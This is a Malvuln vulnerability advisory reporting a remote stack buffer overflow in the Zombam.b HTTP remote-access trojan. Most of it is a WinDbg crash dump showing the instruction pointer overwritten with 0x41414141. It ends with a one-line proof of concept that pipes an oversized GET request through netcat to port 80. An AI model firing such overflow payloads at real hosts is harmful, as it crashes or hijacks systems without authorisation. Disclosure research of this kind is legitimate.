Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/1e3665a67201209609ae493a2a590bee.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Zombam.b Vulnerability: Remote Stack Buffer Overflow Description: z0mbie's HTTP RAT v0.1a listens on TCP port 80 to display an HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can trigger a buffer overflow overwriting the EBP and EIP registers by sending a specially crafted HTTP request. Type: PE32 MD5: 1e3665a67201209609ae493a2a590bee Vuln ID: MVID-2022-0487 ASLR: False DEP: False Safe SEH: True Disclosure: 02/16/2022 Memory Dump: (148c.dd4): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=9d082a1a edx=00000000 esi=00000003 edi=00000003 eip=7770ed3c esp=0538f194 ebp=0538f324 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:006> .ecxr eax=00000000 ebx=040202b0 ecx=9d082a1a edx=00000000 esi=0538fb51 edi=04020330 eip=41414141 esp=0538fab4 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 41414141 ?? ??? 0:006> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Zombam.b.1e3665a67201209609ae493a2a590bee.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Zombam.b.1e3665a67201209609ae493a2a590bee.exe FAULTING_IP: +3485 41414141 ?? ??? EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: Backdoor.Win32.Zombam.b.1e3665a67201209609ae493a2a590bee.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: Backdoor_Win32_Zombam_b_1e3665a67201209609ae493a2a590bee+3485 00403485 50 push eax FAILED_INSTRUCTION_ADDRESS: +3485 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00000dd4 BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE_FILL_PATTERN_41414141 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 41414141 to 41414141 STACK_TEXT: WARNING: Frame IP not in any known module. Following frames may be wrong. 0538fab0 41414141 41414141 41414141 41414141 0x41414141 0538fab4 41414141 41414141 41414141 41414141 0x41414141 0538fab8 41414141 41414141 41414141 41414141 0x41414141 0538fabc 41414141 41414141 41414141 41414141 0x41414141 0538fac0 41414141 41414141 41414141 41414141 0x41414141 0538fac4 41414141 41414141 41414141 41414141 0x41414141 0538fac8 41414141 41414141 41414141 41414141 0x41414141 0538facc 41414141 41414141 41414141 41414141 0x41414141 0538fad0 41414141 41414141 41414141 41414141 0x41414141 0538fad4 41414141 41414141 41414141 41414141 0x41414141 0538fad8 41414141 41414141 41414141 41414141 0x41414141 0538fadc 41414141 41414141 41414141 41414141 0x41414141 0538fae0 41414141 41414141 41414141 41414141 0x41414141 0538fae4 41414141 41414141 41414141 41414141 0x41414141 0538fae8 41414141 41414141 41414141 41414141 0x41414141 0538faec 41414141 41414141 41414141 41414141 0x41414141 0538faf0 41414141 41414141 41414141 41414141 0x41414141 0538faf4 41414141 41414141 41414141 41414141 0x41414141 0538faf8 41414141 41414141 41414141 41414141 0x41414141 0538fafc 41414141 41414141 41414141 41414141 0x41414141 0538fb00 41414141 41414141 41414141 41414141 0x41414141 0538fb04 41414141 41414141 41414141 41414141 0x41414141 0538fb08 41414141 41414141 41414141 41414141 0x41414141 0538fb0c 41414141 41414141 41414141 41414141 0x41414141 0538fb10 41414141 41414141 41414141 41414141 0x41414141 0538fb14 41414141 41414141 41414141 41414141 0x41414141 0538fb18 41414141 41414141 41414141 41414141 0x41414141 0538fb1c 41414141 41414141 41414141 41414141 0x41414141 0538fb20 41414141 41414141 41414141 41414141 0x41414141 0538fb24 41414141 41414141 41414141 41414141 0x41414141 0538fb28 41414141 41414141 41414141 41414141 0x41414141 0538fb2c 41414141 41414141 41414141 41414141 0x41414141 0538fb30 41414141 41414141 41414141 41414141 0x41414141 0538fb34 41414141 41414141 41414141 41414141 0x41414141 0538fb38 41414141 41414141 41414141 41414141 0x41414141 0538fb3c 41414141 41414141 41414141 41414141 0x41414141 0538fb40 41414141 41414141 41414141 41414141 0x41414141 0538fb44 41414141 41414141 41414141 41414141 0x41414141 0538fb48 41414141 41414141 41414141 41414141 0x41414141 0538fb4c 41414141 41414141 41414141 41414141 0x41414141 0538fb50 41414141 41414141 41414141 41414141 0x41414141 0538fb54 41414141 41414141 41414141 41414141 0x41414141 0538fb58 41414141 41414141 41414141 41414141 0x41414141 0538fb5c 41414141 41414141 41414141 41414141 0x41414141 0538fb60 41414141 41414141 41414141 41414141 0x41414141 0538fb64 41414141 41414141 41414141 41414141 0x41414141 0538fb68 41414141 41414141 41414141 41414141 0x41414141 0538fb6c 41414141 41414141 41414141 41414141 0x41414141 0538fb70 41414141 41414141 41414141 41414141 0x41414141 0538fb74 41414141 41414141 41414141 41414141 0x41414141 0538fb78 41414141 41414141 41414141 41414141 0x41414141 0538fb7c 41414141 41414141 41414141 41414141 0x41414141 0538fb80 41414141 41414141 41414141 41414141 0x41414141 0538fb84 41414141 41414141 41414141 41414141 0x41414141 0538fb88 41414141 41414141 41414141 41414141 0x41414141 0538fb8c 41414141 41414141 41414141 41414141 0x41414141 0538fb90 41414141 41414141 41414141 41414141 0x41414141 0538fb94 41414141 41414141 41414141 41414141 0x41414141 0538fb98 41414141 41414141 41414141 41414141 0x41414141 0538fb9c 41414141 41414141 41414141 41414141 0x41414141 0538fba0 41414141 41414141 41414141 41414141 0x41414141 0538fba4 41414141 41414141 41414141 41414141 0x41414141 0538fba8 41414141 41414141 41414141 41414141 0x41414141 0538fbac 41414141 41414141 41414141 41414141 0x41414141 0538fbb0 41414141 41414141 41414141 41414141 0x41414141 0538fbb4 41414141 41414141 41414141 41414141 0x41414141 0538fbb8 41414141 41414141 41414141 41414141 0x41414141 0538fbbc 41414141 41414141 41414141 41414141 0x41414141 0538fbc0 41414141 41414141 41414141 41414141 0x41414141 0538fbc4 41414141 41414141 41414141 41414141 0x41414141 0538fbc8 41414141 41414141 41414141 41414141 0x41414141 0538fbcc 41414141 41414141 41414141 41414141 0x41414141 0538fbd0 41414141 41414141 41414141 41414141 0x41414141 0538fbd4 41414141 41414141 41414141 41414141 0x41414141 0538fbd8 41414141 41414141 41414141 41414141 0x41414141 0538fbdc 41414141 41414141 41414141 41414141 0x41414141 0538fbe0 41414141 41414141 41414141 41414141 0x41414141 0538fbe4 41414141 41414141 41414141 41414141 0x41414141 0538fbe8 41414141 41414141 41414141 41414141 0x41414141 0538fbec 41414141 41414141 41414141 41414141 0x41414141 0538fbf0 41414141 41414141 41414141 41414141 0x41414141 0538fbf4 41414141 41414141 41414141 41414141 0x41414141 0538fbf8 41414141 41414141 41414141 41414141 0x41414141 0538fbfc 41414141 41414141 41414141 41414141 0x41414141 0538fc00 41414141 41414141 41414141 41414141 0x41414141 0538fc04 41414141 41414141 41414141 41414141 0x41414141 0538fc08 41414141 41414141 41414141 41414141 0x41414141 0538fc0c 41414141 41414141 41414141 41414141 0x41414141 0538fc10 41414141 41414141 41414141 41414141 0x41414141 0538fc14 41414141 41414141 41414141 41414141 0x41414141 0538fc18 41414141 41414141 41414141 41414141 0x41414141 0538fc1c 41414141 41414141 41414141 41414141 0x41414141 0538fc20 41414141 41414141 41414141 41414141 0x41414141 0538fc24 41414141 41414141 41414141 41414141 0x41414141 0538fc28 41414141 41414141 41414141 41414141 0x41414141 0538fc2c 41414141 41414141 41414141 41414141 0x41414141 0538fc30 41414141 41414141 41414141 41414141 0x41414141 0538fc34 41414141 41414141 41414141 41414141 0x41414141 0538fc38 41414141 41414141 41414141 41414141 0x41414141 0538fc3c 41414141 41414141 41414141 41414141 0x41414141 0538fc40 41414141 41414141 41414141 41414141 0x41414141 0538fc44 41414141 41414141 41414141 41414141 0x41414141 0538fc48 41414141 41414141 41414141 41414141 0x41414141 0538fc4c 41414141 41414141 41414141 41414141 0x41414141 0538fc50 41414141 41414141 41414141 41414141 0x41414141 0538fc54 41414141 41414141 41414141 41414141 0x41414141 0538fc58 41414141 41414141 41414141 41414141 0x41414141 0538fc5c 41414141 41414141 41414141 41414141 0x41414141 0538fc60 41414141 41414141 41414141 41414141 0x41414141 0538fc64 41414141 41414141 41414141 41414141 0x41414141 0538fc68 41414141 41414141 41414141 41414141 0x41414141 0538fc6c 41414141 41414141 41414141 41414141 0x41414141 0538fc70 41414141 41414141 41414141 41414141 0x41414141 0538fc74 41414141 41414141 41414141 41414141 0x41414141 0538fc78 41414141 41414141 41414141 41414141 0x41414141 0538fc7c 41414141 41414141 41414141 41414141 0x41414141 0538fc80 41414141 41414141 41414141 41414141 0x41414141 0538fc84 41414141 41414141 41414141 41414141 0x41414141 0538fc88 41414141 41414141 41414141 41414141 0x41414141 0538fc8c 41414141 41414141 41414141 41414141 0x41414141 0538fc90 41414141 41414141 41414141 41414141 0x41414141 0538fc94 41414141 41414141 41414141 41414141 0x41414141 0538fc98 41414141 41414141 41414141 41414141 0x41414141 0538fc9c 41414141 41414141 41414141 41414141 0x41414141 0538fca0 41414141 41414141 41414141 41414141 0x41414141 0538fca4 41414141 41414141 41414141 41414141 0x41414141 0538fca8 41414141 41414141 41414141 41414141 0x41414141 0538fcac 41414141 41414141 41414141 41414141 0x41414141 0538fcb0 41414141 41414141 41414141 41414141 0x41414141 0538fcb4 41414141 41414141 41414141 41414141 0x41414141 0538fcb8 41414141 41414141 41414141 41414141 0x41414141 0538fcbc 41414141 41414141 41414141 41414141 0x41414141 0538fcc0 41414141 41414141 41414141 41414141 0x41414141 0538fcc4 41414141 41414141 41414141 41414141 0x41414141 0538fcc8 41414141 41414141 41414141 41414141 0x41414141 0538fccc 41414141 41414141 41414141 41414141 0x41414141 0538fcd0 41414141 41414141 41414141 41414141 0x41414141 0538fcd4 41414141 41414141 41414141 41414141 0x41414141 0538fcd8 41414141 41414141 41414141 41414141 0x41414141 0538fcdc 41414141 41414141 41414141 41414141 0x41414141 0538fce0 41414141 41414141 41414141 41414141 0x41414141 0538fce4 41414141 41414141 41414141 41414141 0x41414141 0538fce8 41414141 41414141 41414141 41414141 0x41414141 0538fcec 41414141 41414141 41414141 41414141 0x41414141 0538fcf0 41414141 41414141 41414141 41414141 0x41414141 0538fcf4 41414141 41414141 41414141 41414141 0x41414141 0538fcf8 41414141 41414141 41414141 41414141 0x41414141 0538fcfc 41414141 41414141 41414141 41414141 0x41414141 0538fd00 41414141 41414141 41414141 41414141 0x41414141 0538fd04 41414141 41414141 41414141 41414141 0x41414141 0538fd08 41414141 41414141 41414141 41414141 0x41414141 0538fd0c 41414141 41414141 41414141 41414141 0x41414141 0538fd10 41414141 41414141 41414141 41414141 0x41414141 0538fd14 41414141 41414141 41414141 41414141 0x41414141 0538fd18 41414141 41414141 41414141 41414141 0x41414141 0538fd1c 41414141 41414141 41414141 41414141 0x41414141 0538fd20 41414141 41414141 41414141 41414141 0x41414141 0538fd24 41414141 41414141 41414141 41414141 0x41414141 0538fd28 41414141 41414141 41414141 41414141 0x41414141 0538fd2c 41414141 41414141 41414141 41414141 0x41414141 0538fd30 41414141 41414141 41414141 41414141 0x41414141 0538fd34 41414141 41414141 41414141 41414141 0x41414141 0538fd38 41414141 41414141 41414141 41414141 0x41414141 0538fd3c 41414141 41414141 41414141 41414141 0x41414141 0538fd40 41414141 41414141 41414141 41414141 0x41414141 0538fd44 41414141 41414141 41414141 41414141 0x41414141 0538fd48 41414141 41414141 41414141 41414141 0x41414141 0538fd4c 41414141 41414141 41414141 41414141 0x41414141 0538fd50 41414141 41414141 41414141 41414141 0x41414141 0538fd54 41414141 41414141 41414141 41414141 0x41414141 0538fd58 41414141 41414141 41414141 41414141 0x41414141 0538fd5c 41414141 41414141 41414141 41414141 0x41414141 0538fd60 41414141 41414141 41414141 41414141 0x41414141 0538fd64 41414141 41414141 41414141 41414141 0x41414141 0538fd68 41414141 41414141 41414141 41414141 0x41414141 0538fd6c 41414141 41414141 41414141 41414141 0x41414141 0538fd70 41414141 41414141 41414141 41414141 0x41414141 0538fd74 41414141 41414141 41414141 41414141 0x41414141 0538fd78 41414141 41414141 41414141 41414141 0x41414141 0538fd7c 41414141 41414141 41414141 41414141 0x41414141 0538fd80 41414141 41414141 41414141 41414141 0x41414141 0538fd84 41414141 41414141 41414141 41414141 0x41414141 0538fd88 41414141 41414141 41414141 41414141 0x41414141 0538fd8c 41414141 41414141 41414141 41414141 0x41414141 0538fd90 41414141 41414141 41414141 41414141 0x41414141 0538fd94 41414141 41414141 41414141 41414141 0x41414141 0538fd98 41414141 41414141 41414141 41414141 0x41414141 0538fd9c 41414141 41414141 41414141 41414141 0x41414141 0538fda0 41414141 41414141 41414141 41414141 0x41414141 0538fda4 41414141 41414141 41414141 41414141 0x41414141 0538fda8 41414141 41414141 41414141 41414141 0x41414141 0538fdac 41414141 41414141 41414141 41414141 0x41414141 0538fdb0 41414141 41414141 41414141 41414141 0x41414141 0538fdb4 41414141 41414141 41414141 41414141 0x41414141 0538fdb8 41414141 41414141 41414141 41414141 0x41414141 0538fdbc 41414141 41414141 41414141 41414141 0x41414141 0538fdc0 41414141 41414141 41414141 41414141 0x41414141 0538fdc4 41414141 41414141 41414141 41414141 0x41414141 0538fdc8 41414141 41414141 41414141 41414141 0x41414141 0538fdcc 41414141 41414141 41414141 41414141 0x41414141 0538fdd0 41414141 41414141 41414141 41414141 0x41414141 0538fdd4 41414141 41414141 41414141 41414141 0x41414141 0538fdd8 41414141 41414141 41414141 41414141 0x41414141 0538fddc 41414141 41414141 41414141 41414141 0x41414141 0538fde0 41414141 41414141 41414141 41414141 0x41414141 0538fde4 41414141 41414141 41414141 41414141 0x41414141 0538fde8 41414141 41414141 41414141 41414141 0x41414141 0538fdec 41414141 41414141 41414141 41414141 0x41414141 0538fdf0 41414141 41414141 41414141 41414141 0x41414141 0538fdf4 41414141 41414141 41414141 41414141 0x41414141 0538fdf8 41414141 41414141 41414141 41414141 0x41414141 0538fdfc 41414141 41414141 41414141 41414141 0x41414141 0538fe00 41414141 41414141 41414141 41414141 0x41414141 0538fe04 41414141 41414141 41414141 41414141 0x41414141 0538fe08 41414141 41414141 41414141 41414141 0x41414141 0538fe0c 41414141 41414141 41414141 41414141 0x41414141 0538fe10 41414141 41414141 41414141 41414141 0x41414141 0538fe14 41414141 41414141 41414141 41414141 0x41414 STACK_COMMAND: ~6s; .ecxr ; kb SYMBOL_STACK_INDEX: e9 SYMBOL_NAME: Backdoor_Win32_Zombam_b_1e3665a67201209609ae493a2a590bee+3485 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Zombam_b_1e3665a67201209609ae493a2a590bee IMAGE_NAME: Backdoor.Win32.Zombam.b.1e3665a67201209609ae493a2a590bee.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3e780ebf FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Zombam.b.1e3665a67201209609ae493a2a590bee.exe!Unknown BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_Backdoor_Win32_Zombam_b_1e3665a67201209609ae493a2a590bee+3485 Exploit/PoC: python -c "print('GET /'+'A'*15028 +' HTTP/1.0\r\nHost: 192.168.18.125\r\n\r\n')" | nc64.exe 192.168.18.125 80 -v 125.18.168.192.in-addr.arpa [192.168.18.125] 80 (http) open Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).